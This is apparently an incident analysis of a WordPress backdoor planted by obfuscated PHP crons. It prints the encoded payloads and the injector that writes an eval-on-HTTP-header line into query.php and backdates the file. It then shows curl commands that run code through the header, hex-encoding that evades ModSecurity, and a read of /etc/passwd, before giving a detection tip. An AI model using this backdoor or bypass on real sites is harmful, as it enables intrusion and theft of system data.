HTTP Header injection and ModSecurity evasion.

A few weeks ago we experienced an incident where we discovered a number of malicious crons showing up on our end users accounts. These crons were in the form of File-less PHP scripts that would run in memory.

REDACTED: CMD (/usr/bin/php5.5 -r 'eval(gzinflate(base64_decode("jVFrb6JAFP1u4n+YJiTFaDYIta3Z+MG61kcF1CKimw3hMcjwGAgMWNnsf99BsdrdJruTmczN3HPPufdMvRa78SDCjmoEyDYIZG83SsTJmMSy13+wioiXvAjN+KVrj4a5pPRzafDISYfHzvH2/I6s9DszQS222oTmV4L4bXeQUDeyR8t8I4i5LfSJse545lj1t5qYW5oaWNjPrJG7n3ilzrDUEWQ04SVFGixXw7vT+6R8L0Sqvxip/Ga9j6bPXWWpTtf0mFPOXanPT47krYqFrz7JA9t+UVIk8/69WJBC9sS2jKZNLXgrXsJt2wwlzlh3M20sJoYmOdZ4GtvhswfV7t7k3+KNEDTN18mDs+j1bhtf6zUnwxZBEQZ/WsSkMGmAn/VavQboClBKAMs4WRDMDeK2AJMeUgLDIc5pbEU2pFdsEAIT3AA9kGFajyhZAVnTSOH9nW7DEnYiLqVLWiaNssSCtMBBAdR3kOhWhAnEJL2IncHIAWxKErrZqu66jQa46VEaI0jhsW9QrQSSLMEVxa8L002cwJ0eGsRy2XPnLXAhPmZg2vgnGYPh/vU8Bm1OT2AcGBadtKL4zv2oPAJfwHw814fyjEYf0yfdz0Z9p/84be+/p2VKb0OCwrPPx/jKX9AEba6qyXCAsP+3+cf/ibPP/qd1ZcEZTqKs9PUK8i5cQmhnvwE=")));'^M)
REDACTED:CMD (/usr/bin/php5.5 -r 'eval(gzinflate(base64_decode("jVFdb6JAFH038T9ME5Ji1myo1K9sfKhGra2DFiyim43BYajIMENgoMhm//sOFqvdbbI7IeFm7rnnnnOmWgl34YBR17SJ59gcy9erBVNmlIez/V0b5ayh5cybNvSdMx6mcIFSaHRuNaOjwEMn03KownzVnKpmvrYmov+iavunBvS6zBnr6UqFqaPecXvZ3G/vTX9twRSNs5t1gyRT2mdoMGnbC5bNVNgq9sCFM9Keh6+6d7w/FPcwn7Qmfp84wSh+HOjus2Iapm8ay4MzMUf6k5UPVX1h9uFwRS3Db0/2hXZYaM+1PfNc0kToEAaO0OCMSbolWf7YGPnrUTewl5myth62FsnalsERVptczHeva9+qFTehiHuMgj8jkmIc1cDPaqVaAeIQL+ZAltyEkLnNd3UgxYeY42BIU1Ej5mDxC23OcURroAcSKuY9QZZjeWvHuHW7cXABeyMuVhe0UsySCGEx4HoEb14w3yBGOaY8Pi87gT0XyDGPxCeXc5cyauCqJ2hsEuOjblCeCPMkoiXFrzPTVRjhl01gc7STT8rr4Ex87OC49k8yieJX42RDiNtEOCQ2Ek5Liu/KjzIj8BXM7+eb4Wwqqo/tt72fWX2n/+i2999upSLbgHvBKedjfZEv+AJulHImocSj/t/hH98nTD57n/pFBCc4Z0mR6wXkfXEBEcp+Aw==")));'^M)

When pulling one of these scripts apart we could see there was an additional base64 line encoded into the script. and pulling the internal base64 line apart we could see it contains a list of variables.

phpConfValidate('YTo0OntpOjA7czo2NjoiUkVEQUNURUQvaHRkb2NzL3dwLWluY2x1ZGVzL3F1ZXJ5LnBocCI7aToxO3M6NzoiNjUzQkVBOCI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzY1M0JFQTgnXSk7IjtpOjM7czozNToifl5ccypmdW5jdGlvblxzK2lzX3ByaXZhY3lfcG9saWN5fm0iO30=');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
    return;
}
if (!preg_match($pattern, $source, $matches)) {
    return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
    return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
a:4:{i:0;s:66:"REDACTED/htdocs/wp-includes/query.php";i:1;s:7:"653BEA8";i:2;s:32:"@eval($_SERVER['HTTP_653BEA8']);";i:3;s:35:"~^\s*function\s+is_privacy_policy~m";}

Looking at the base64 script that was embedded, we can see serialized variables being utilized. Once we Unserialize the array, we get the following variables:

$fullPath => REDACTED/htdocs/wp-includes/query.php
$systemEnv => 17E5A0F
$code => @eval($_SERVER['HTTP_17E5A0F']);
$pattern => ~^\s*function\s+is_privacy_policy~m

The code then reads the $fullpath file, it then tries to find if the systemEnv is in the file. The file then does a regular expression (Regex) search for the $pattern variable. Once it finds the line it then injects the code above it. The final step of the the script is to take the $filemtime of the script and add 10 to it. It the deletes the original file and writes the amended file and then sets the time to the new time, Changing the time is to stay undetected and no show up on any recent changes.

When we inspect the REDACTED/htdocs/wp-includes/query.php file we can see the line has been embedded just above the function it searched for.

@global WP_Query $wp_query WordPress Query object.
*
@return bool Whether the query is for the Privacy Policy page.
*/
@eval($_SERVER['HTTP_17E5A0F']);
function is_privacy_policy() {
global $wp_query; if ( ! isset( $wp_query ) ) {
doing_it_wrong( FUNCTION, _( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
return false;
}

As the $_SERVER is a very useful function with many practical uses. In the code above PHP will create additional elements with values from request headers. These entries will be named HTTP_ followed by the header name (https://www.php.net/manual/en/reserved.variables.server.php)

The header variable is then being passed to an eval function, Without the eval function enabled on the server this attack cannot take place, with eval enabled, this will allow code to be passed directly and executed on the server. In the example below we have passed hello world with an echo statement.

┌──(kali㉿kali)-[~]
└─$  curl -H '3857E2F: echo "hello world!"; ' http://REDACTED
hello world!

The attack can be done via sending the request direct to the file or directly at the domain name as this attack I analyzed was targeted at a WordPress installation. Now we can attempt to list the files in the directory it is connected to. This would be done via using system instead of echo.

┌──(kali㉿kali)-[~]
└─$  curl -H '3857E2F: system("ls -la"); ' http://REDACTED
<head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Running the above command on a server with ModSecurity (ModSec) will provide an error advising the function could not run. ModSecurity blocks content by scanning for malicious strings such as system or eval. However we can bypass modsecuritys block by changing system into a hexidecimal value for the word system to "\x73\x79\x73\x74\x65\x6d".

curl -H '3857E2F: "\x73\x79\x73\x74\x65\x6d"("ls -la"); ' http://REDACTED

total 7348
drwxrwx--- 1 REDACTED REDACTED      0 Mar 30 12:16 .
drwxrwx--- 1 REDACTED REDACTED      0 Mar 27 22:32 ..
-rwxrwx--- 1 REDACTED REDACTED  34121 Mar 27 20:27 admin-bar.php
drwxrwx--- 1 REDACTED REDACTED      0 Mar 27 20:27 assets
-rwxrwx--- 1 REDACTED REDACTED  11950 Mar 27 20:27 atomlib.php
-rwxrwx--- 1 REDACTED REDACTED  18750 Mar 27 20:27 author-template.php
-rwxrwx--- 1 REDACTED REDACTED 167091 Mar 27 20:27 bbohqj.php
-rwxrwx--- 1 REDACTED REDACTED  23387 Mar 27 20:27 block-editor.php
drwxrwx--- 1 REDACTED REDACTED      0 Mar 27 20:27 block-patterns
-rwxrwx--- 1 REDACTED REDACTED  11151 Mar 27 20:27 block-patterns.php
drwxrwx--- 1 REDACTED REDACTED      0 Mar 27 20:27 blocks

Now being able to bypass ModSecurity, we can read files that ModSecurity wont allow such as the /etc/passwd file

curl -H '3857E2F: "\x73\x79\x73\x74\x65\x6d"("cat \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"); ' http://REDACTED

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

Further analysis also indicated that this method could be used to connect to a C2 and act as a zombie host.

Throughout our investigation, and in reviewing a large number of these cron and files; we can see this is a direct attack on WordPress, where the code is being injected into default WordPress files that are required for the WordPress page to load. What this allows for, is the malicious actor to send the request directly to the domain name, and not to the affected files to get the desired outcome. Furthermore, when reviewing the access logs, there is no evidence of an attack. What is visible in the logs are only the GET requests to the root of the website. This was tested on a local installation of an infected site.

[Mon Apr  3 09:58:21 2023] PHP 8.2.2 Development Server (http://0.0.0.0:8000) started
[Mon Apr  3 09:59:44 2023] 127.0.0.1:52176 Accepted
[Mon Apr  3 09:59:44 2023] 127.0.0.1:52176 [200]: GET /
[Mon Apr  3 09:59:44 2023] 127.0.0.1:52176 Closing
[Mon Apr  3 10:00:15 2023] 127.0.0.1:48320 Accepted
[Mon Apr  3 10:00:15 2023] 127.0.0.1:48320 [200]: GET /
[Mon Apr  3 10:00:15 2023] 127.0.0.1:48320 Closing
[Mon Apr  3 10:02:33 2023] 127.0.0.1:37606 Accepted
[Mon Apr  3 10:02:33 2023] 127.0.0.1:37606 [200]: GET /
[Mon Apr  3 10:02:33 2023] 127.0.0.1:37606 Closing

As this method for persistence and connecting to a c2 is very stealthy; it is not easily detected and may be overlooked. a search via the command line for @eval(http_ should help in finding if this infection exists in your WordPress installation.